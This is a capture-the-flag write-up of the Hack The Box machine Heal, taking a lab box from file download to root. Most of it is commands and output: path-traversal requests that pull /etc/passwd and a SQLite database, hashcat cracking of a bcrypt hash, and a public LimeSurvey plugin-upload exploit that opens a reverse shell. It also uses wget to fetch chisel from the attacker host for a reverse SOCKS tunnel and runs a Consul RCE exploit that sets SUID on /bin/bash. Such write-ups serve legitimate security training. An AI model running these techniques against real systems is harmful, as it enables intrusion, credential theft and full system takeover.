writeup 2025-03-17 · 20 min read

Hack The Box Heal Writeup (Medium Linux)

Medium Linux box. An LFI in the Rails API leaks a SQLite database, ralph's hash cracks, LimeSurvey 6.6.4 gives RCE, and a local Consul API hands over root.

Hack The Box Heal Writeup (Medium Linux)

Summary

Heal is a medium Linux machine that starts with a Ruby on Rails API exposing an authenticated file download endpoint vulnerable to local file inclusion. Reading the nginx configuration through it points at the application root, and path traversal to config/database.yml names a SQLite development database, which the same endpoint happily serves. Dumping that database yields ralph’s bcrypt hash, cracked with hashcat to 147258369, and the same password logs into the LimeSurvey instance on the take-survey virtual host. That build is LimeSurvey Community Edition 6.6.4, vulnerable to CVE-2021-44967, and a public plugin upload exploit drops a PHP reverse shell that lands as www-data. From there a HashiCorp Consul agent listening only on localhost is reached through a chisel reverse SOCKS proxy, and a Consul RCE exploit sets the SUID bit on /bin/bash for a root shell.

Enumeration

Web Server

Found LFI vulnerability at authenticated GET request to api.heal.htb/download:

Burp Suite response showingetc/passwd returned by the api.heal.htb download endpoint

The request looks like this:

1
2
3
4
5
6
7
8
9
10
11
GET /download?filename=/etc/passwd HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: keep-alive
Referer: http://heal.htb/

Obtained nginx configuration file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
	# multi_accept on;
}

http {

	##
	# Basic Settings
	##

	sendfile on;
	tcp_nopush on;
	types_hash_max_size 2048;
	# server_tokens off;

	# server_names_hash_bucket_size 64;
	# server_name_in_redirect off;

	include /etc/nginx/mime.types;
	default_type application/octet-stream;

	##
	# SSL Settings
	##

	ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;

	##
	# Logging Settings
	##

	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;

	##
	# Gzip Settings
	##

	gzip on;

	# gzip_vary on;
	# gzip_proxied any;
	# gzip_comp_level 6;
	# gzip_buffers 16 8k;
	# gzip_http_version 1.1;
	# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

	##
	# Virtual Host Configs
	##

	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}


#mail {
#	# See sample authentication script at:
#	# http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
#	# auth_http localhost/auth.php;
#	# pop3_capabilities "TOP" "USER";
#	# imap_capabilities "IMAP4rev1" "UIDPLUS";
#
#	server {
#		listen     localhost:110;
#		protocol   pop3;
#		proxy      on;
#	}
#
#	server {
#		listen     localhost:143;
#		protocol   imap;
#		proxy      on;
#	}
#}

That points to:

1
2
include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;

So the tester can get heal.htb (/etc/nginx/sites-enabled/heal.htb):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#limit_req_zone $binary_remote_addr zone=heallimit:10m rate=10r/s;

server {
    listen 80;
    server_name heal.htb;

    # Redirect users accessing the site via the server's IP address
    if ($host != heal.htb) {
        rewrite ^ http://heal.htb/;
    }

    # Proxy requests to the Flask server
    location / {
        limit_req zone=mylimit burst=20;
        proxy_pass http://127.0.0.1:3000;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

# Default server block for IP-based access
server {
    listen 80 default_server;
    server_name _;

    # Redirect all IP-based requests to clouded.htb
    return 301 http://heal.htb/;
}

And /etc/nginx/sites-enabled/heal.htb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;

server {
    listen 80;
    server_name api.heal.htb;

    # Proxy requests to the Flask server
    location / {
        limit_req zone=mylimit burst=20;
        proxy_pass http://127.0.0.1:3001;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

For some reason they say that it’s a flask application, but when we access the website, a splash page for ruby on rails is presented:

Ruby on Rails default splash page served at heal.htb instead of the expected Flask app

The tester, searching the internet for common vulnerabilities in Rails, found a OWASP Ruby on Rails cheatsheet. In the cheatsheet, they describe a few sensitive files worth looking:

OWASP Ruby on Rails cheat sheet listing sensitive files worth requesting, including config/database.yml

The tester, knowing that the current directory must be where the application is located, tried path traversal to access the database configuration file:

Path traversal request to ../../config/database.yml returning the Rails database configuration

Request:

1
2
3
4
5
6
7
8
9
10
11
GET /download?filename=../../config/database.yml HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: keep-alive
Referer: http://heal.htb/

Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# SQLite. Versions 3.8.0 and up are supported.
#   gem install sqlite3
#
#   Ensure the SQLite 3 gem is defined in your Gemfile
#   gem "sqlite3"
#
default: &default
  adapter: sqlite3
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  timeout: 5000

development:
  <<: *default
  database: storage/development.sqlite3

# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
  <<: *default
  database: storage/test.sqlite3

production:
  <<: *default
  database: storage/development.sqlite3

The configuration file mentions a storage/development.sqlite3 file.

With that, the tester could locate and download the development database:

1
2
3
4
5
6
$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' http://api.heal.htb/download?filename=../../storage/development.sqlite3 -o development.sqlite3
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 32768  100 32768    0     0   143k      0 --:--:-- --:--:-- --:--:--  143k
user@attackbox:~/hacking/htb/machines/medium/heal$ file development.sqlite3 
development.sqlite3: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2

Accessing the database and dumping all its contents, the tester found credentials for the user “ralph”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sqlite3 development.sqlite3 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS "token_blacklists" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "token" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL);
CREATE TABLE IF NOT EXISTS "users" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "email" varchar, "password_digest" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL, "fullname" varchar, "username" varchar, "is_admin" boolean);
INSERT INTO users VALUES(1,'ralph@heal.htb','$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG','2024-09-27 07:49:31.614858','2024-09-27 07:49:31.614858','Administrator','ralph',1);
INSERT INTO users VALUES(2,'tester@tester.com','$2a$12$Kbygq8HpdsDDfJL3mNiuWOXMzoI2BnihymMTSO1TRbDAVQIZo8ojC','2025-03-16 16:25:23.848376','2025-03-16 16:25:23.848376','tester','tester',0);
CREATE TABLE IF NOT EXISTS "schema_migrations" ("version" varchar NOT NULL PRIMARY KEY);
INSERT INTO schema_migrations VALUES('20240702133115');
INSERT INTO schema_migrations VALUES('20240702131229');
INSERT INTO schema_migrations VALUES('20240702053125');
INSERT INTO schema_migrations VALUES('20240702032524');
INSERT INTO schema_migrations VALUES('20240701161836');
CREATE TABLE IF NOT EXISTS "ar_internal_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL);
INSERT INTO ar_internal_metadata VALUES('environment','development','2024-09-27 07:49:07.266676','2024-09-27 07:49:07.266679');
INSERT INTO ar_internal_metadata VALUES('schema_sha1','86dacdae5e53daf6a99cc195f85ec397dbaa71b5','2024-09-27 07:49:07.269048','2024-09-27 07:49:07.269049');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',2);
COMMIT;
sqlite>

The tester saved the password hash and cracked it with hashcat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ hashcat ralph.hash /usr/share/wordlists/rockyou.txt -m 3200

<SNIP>

$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
                                                        
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9S...GCSZnG
Time.Started.....: Sun Mar 16 17:31:18 2025 (28 secs)
Time.Estimated...: Sun Mar 16 17:31:46 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       18 H/s (6.52ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 496/14344384 (0.00%)
Rejected.........: 0/496 (0.00%)
Restore.Point....: 480/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4064-4096
Candidate.Engine.: Device Generator
Candidates.#1....: teiubesc -> kelsey

Started: Sun Mar 16 17:30:31 2025
Stopped: Sun Mar 16 17:31:48 2025

Initial Access

It’s not possible to log in to the machine via SSH using the credentials for ralph, and there’s nothing really interesting when you log in to ralph’s account on the CV generator application.

However, there’s a “survey” button:

Survey button shown in ralph's account on the CV generator application

The tester clicked on it, and was redirected to http://take-survey.heal.htb/:

LimeSurvey landing page at take-survey.heal.htb after following the survey button

The tester did run Gobuster to enumerate for valid directories, and found /admin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ gobuster dir -u http://take-survey.heal.htb/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://take-survey.heal.htb/                                     
[+] Method:                  GET                                                              
[+] Threads:                 10                                                               
[+] Wordlist:                /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt                                                                                          
[+] Negative Status codes:   404                                                              
[+] User Agent:              gobuster/3.5                                                     
[+] Timeout:                 10s                                                              
===============================================================                               
2025/03/17 11:07:42 Starting gobuster in directory enumeration mode                           
===============================================================                               
/.hta                 (Status: 403) [Size: 162]
/.htaccess            (Status: 403) [Size: 162]
/.htpasswd            (Status: 403) [Size: 162]
/Admin                (Status: 302) [Size: 0] [--> http://take-survey.heal.htb/index.php/admin/authentication/sa/login]

Accessing the endpoint, the tester was presented with a log in form:

LimeSurvey administration login form found at theadmin endpoint

The tester could log in as “ralph” using the previously cracked password:

1
ralph:147258369

LimeSurvey admin dashboard after logging in as ralph with the cracked password

Reaching the end of the page, the tester could locate the software version:

Page footer showing LimeSurvey Community Edition Version 6.6.4

Searching google for this particular version (LimeSurvey Community Edition Version 6.6.4), the tester discovered there is a public vulnerability (CVE-2021-44967) and PoCs available for this particular version. The tester downloaded this github repository to their local machine:

1
2
3
4
5
6
7
$ git clone --depth 1 https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE.git
Cloning into 'Limesurvey-6.6.4-RCE'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (10/10), 102.93 KiB | 569.00 KiB/s, done.

Then, the tester proceeded to install the requirements:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python3 -m venv .venv
user@attackbox:~/hacking/htb/machines/medium/heal/Limesurvey-6.6.4-RCE$ source .venv/bin/activate
(.venv) user@attackbox:~/hacking/htb/machines/medium/heal/Limesurvey-6.6.4-RCE$ pip install -r requirements.txt 
Collecting requests
  Using cached requests-2.32.3-py3-none-any.whl (64 kB)
Collecting pyfiglet
  Using cached pyfiglet-1.0.2-py3-none-any.whl (1.1 MB)
Collecting beautifulsoup4
  Using cached beautifulsoup4-4.13.3-py3-none-any.whl (186 kB)
Collecting colorama
  Using cached colorama-0.4.6-py2.py3-none-any.whl (25 kB)
Collecting charset-normalizer<4,>=2
  Using cached charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (143 kB)
Collecting idna<4,>=2.5
  Using cached idna-3.10-py3-none-any.whl (70 kB)
Collecting urllib3<3,>=1.21.1
  Using cached urllib3-2.3.0-py3-none-any.whl (128 kB)
Collecting certifi>=2017.4.17
  Using cached certifi-2025.1.31-py3-none-any.whl (166 kB)
Collecting soupsieve>1.2
  Using cached soupsieve-2.6-py3-none-any.whl (36 kB)
Collecting typing-extensions>=4.0.0
  Using cached typing_extensions-4.12.2-py3-none-any.whl (37 kB)
Installing collected packages: urllib3, typing-extensions, soupsieve, pyfiglet, idna, colorama, charset-normalizer, certifi, requests, beautifulsoup4
Successfully installed beautifulsoup4-4.13.3 certifi-2025.1.31 charset-normalizer-3.4.1 colorama-0.4.6 idna-3.10 pyfiglet-1.0.2 requests-2.32.3 soupsieve-2.6 typing-extensions-4.12.2 urllib3-2.3.0

The tester edited the revshell.php payload to make it point to the correct IP address (tester’s tun0 ipv4 address):

revshell.php payload edited to point the callback at the tester's tun0 IP address

The tester did set up a netcat listener to handle the connection:

1
2
$ nc -lvnp 1234
listening on [any] 1234 ...

Then, the tester created the zip archive with the config.xml and revshell.php and executed the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ zip -r N4s1rl1.zip config.xml revshell.php
updating: config.xml (deflated 59%)
updating: revshell.php (deflated 68%)
(.venv) user@attackbox:~/hacking/htb/machines/medium/heal/Limesurvey-6.6.4-RCE$ python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
 _   _ _  _  ____  _ ____  _     _ 
| \ | | || |/ ___|/ |  _ \| |   / |                                                           
|  \| | || |\___ \| | |_) | |   | |                                                           
| |\  |__   _|__) | |  _ <| |___| |                                                           
|_| \_|  |_||____/|_|_| \_\_____|_|                                                           
                                                                                            
                                                                                            
[INFO] Retrieving CSRF token for login...
[SUCCESS] CSRF Token Retrieved: ZjBQWTl-VkI1TnNLWjRHOURkVnl3VjI0QWZuM3JLV1V0B_T0V-WkhqWOrsJxpyJHwzNIeC6sZPA9D5EMiXpdKg==                                                                    

[INFO] Sending Login Request...                                                               
[SUCCESS] Login Successful!

[INFO] Uploading Plugin...                                                                    
[SUCCESS] Plugin Uploaded Successfully!

[INFO] Installing Plugin...                                                                   
[SUCCESS] Plugin Installed Successfully!

[INFO] Activating Plugin...                                                                   
[SUCCESS] Plugin Activated Successfully!

[INFO] Triggering Reverse Shell...

Instantly, the connection was received:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.46] 35914
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 11:22:08 up 19:23,  0 users,  load average: 0.06, 0.03, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.46  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:fe94:e404  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:fe94:e404  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:94:e4:04  txqueuelen 1000  (Ethernet)
        RX packets 54977  bytes 8302445 (8.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 71157  bytes 27110761 (27.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 532328  bytes 59587512 (59.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 532328  bytes 59587512 (59.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Privilege Escalation

Listing for open ports, the tester noticed unusual ports open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ss -tulpn 
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                                                 
udp   UNCONN 0      0          127.0.0.1:8600       0.0.0.0:*                                                           
udp   UNCONN 0      0            0.0.0.0:5353       0.0.0.0:*                                                           
udp   UNCONN 0      0            0.0.0.0:57038      0.0.0.0:*                                                           
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*                                                           
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*                                                           
udp   UNCONN 0      0          127.0.0.1:8301       0.0.0.0:*                                                           
udp   UNCONN 0      0          127.0.0.1:8302       0.0.0.0:*                                                           
udp   UNCONN 0      0               [::]:5353          [::]:*                                                           
udp   UNCONN 0      0               [::]:46555         [::]:*                                                           
tcp   LISTEN 0      244        127.0.0.1:5432       0.0.0.0:*                                                           
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*    users:(("nginx",pid=1054,fd=6),("nginx",pid=1053,fd=6))
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8503       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8500       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8600       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8302       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8300       0.0.0.0:*                                                           
tcp   LISTEN 0      4096       127.0.0.1:8301       0.0.0.0:*                                                           
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*                                                           
tcp   LISTEN 0      511        127.0.0.1:3000       0.0.0.0:*                                                           
tcp   LISTEN 0      1024       127.0.0.1:3001       0.0.0.0:*                                                           
tcp   LISTEN 0      128             [::]:22            [::]:*                                                           
bash-5.1$

The tester did transfer “chisel” to the victim machine using updog:

1
2
3
4
5
6
7
$ updog
[+] Serving /home/user/hacking/tools/chisel...
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.                                                                      
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:9090
 * Running on http://10.137.0.20:9090
Press CTRL+C to quit

And on the victim machine:

1
2
3
4
5
6
7
8
9
10
$ wget 10.10.14.10:9090/chisel
--2025-03-17 13:51:10--  http://10.10.14.10:9090/chisel
Connecting to 10.10.14.10:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9371800 (8.9M) [text/plain]
Saving to: ‘chisel’

chisel              100%[===================>]   8.94M  6.56MB/s    in 1.4s    

2025-03-17 13:51:12 (6.56 MB/s) - ‘chisel’ saved [9371800/9371800]

After that, the tester, on their local machine, did set up chisel server, that creates a reverse socks5 proxy:

1
2
3
4
$ ./chisel server --port 1337 --socks5 --reverse
2025/03/17 13:52:52 server: Reverse tunnelling enabled
2025/03/17 13:52:52 server: Fingerprint xhAdnes27aLBfQOtfOjQAaGRkCp1wZTEX1Z/Fzy78NA=
2025/03/17 13:52:52 server: Listening on http://0.0.0.0:1337

And on the victim machine, they started the client:

1
2
$ nohup ./chisel client 10.10.14.10:1337 R:socks &
[2] 62455

In the server, the tester received the connection:

1
2
3
4
5
$ ./chisel server --port 1337 --socks5 --reverse
2025/03/17 13:52:52 server: Reverse tunnelling enabled
2025/03/17 13:52:52 server: Fingerprint xhAdnes27aLBfQOtfOjQAaGRkCp1wZTEX1Z/Fzy78NA=
2025/03/17 13:52:52 server: Listening on http://0.0.0.0:1337
2025/03/17 13:59:47 server: session#3: tun: proxy#R:127.0.0.1:1080=>socks: Listening

Then the tester edited /etc/proxychains.conf to use the chisel socks5 proxy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#	

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
#dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see  chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
#quiet_mode

# Proxy DNS requests - no leak for DNS data
#proxy_dns 

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
#       type  host  port [user pass]
#       (values separated by 'tab' or 'blank')
#
#
#        Examples:
#
#            	socks5	192.168.67.78	1080	lamer	secret
#		http	192.168.89.3	8080	justu	hidden
#	 	socks4	192.168.1.49	1080
#	        http	192.168.39.93	8080	
#		
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080

The tester then used proxychains to access the website:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ proxychains chromium
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[22873:22873:0317/152633.183513:ERROR:viz_main_impl.cc(183)] Exiting GPU process due to errors during initialization
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  40.114.177.156:443 [22930:22930:0317/152633.457424:ERROR:viz_main_impl.cc(183)] Exiting GPU process due to errors during initialization
[22911:8:0317/152633.528157:ERROR:command_buffer_proxy_impl.cc(125)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.
<--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  142.251.168.84:443 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8500  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  216.58.204.138:443 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.217.168.10:443 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.217.168.42:443 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.217.168.74:443 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  142.250.203.106:443 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8500  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8500  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8500  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8500  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8500  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  142.250.186.67:443 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  142.251.168.84:443 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  142.250.186.67:80 <--socket error or timeout!

Consul web interface on port 8500 reached through the chisel SOCKS proxy with proxychains

The tester used the information to search google for public vulnerabilities, and found an exploit that explores a remote code execution vulnerability. The tester downloaded the exploit to their local machine:

1
2
3
4
5
6
7
$ git clone https://github.com/owalid/consul-rce.git
Cloning into 'consul-rce'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.

Then the tester executed the exploit, adding a SUID bit to /bin/bash in order to escalate privileges:

1
2
3
4
5
6
7
8
$ proxychains python3 consul_rce.py -th 127.0.0.1 -tp 8500 -c 'chmod +s /bin/bash'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8500  ...  OK
[+] Check zahqizpozsfhdrt created successfully
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:8500  ...  OK
[+] Check zahqizpozsfhdrt deregistered successfully

In this example, the tester checked the permissions for /bin/bash before and then after the execution of the exploit:

1
2
3
4
bash-5.1$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
bash-5.1$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash

After verifying the permissions have changed and the exploit has worked, the tester could escalate privileges to root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bash-5.1$ /bin/bash -p
bash-5.1# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-5.1# ifconfig 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.46  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:fe94:e404  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:fe94:e404  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:94:e4:04  txqueuelen 1000  (Ethernet)
        RX packets 92613  bytes 26404956 (26.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 107391  bytes 42131454 (42.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 647266  bytes 80884331 (80.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 647266  bytes 80884331 (80.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

bash-5.1#
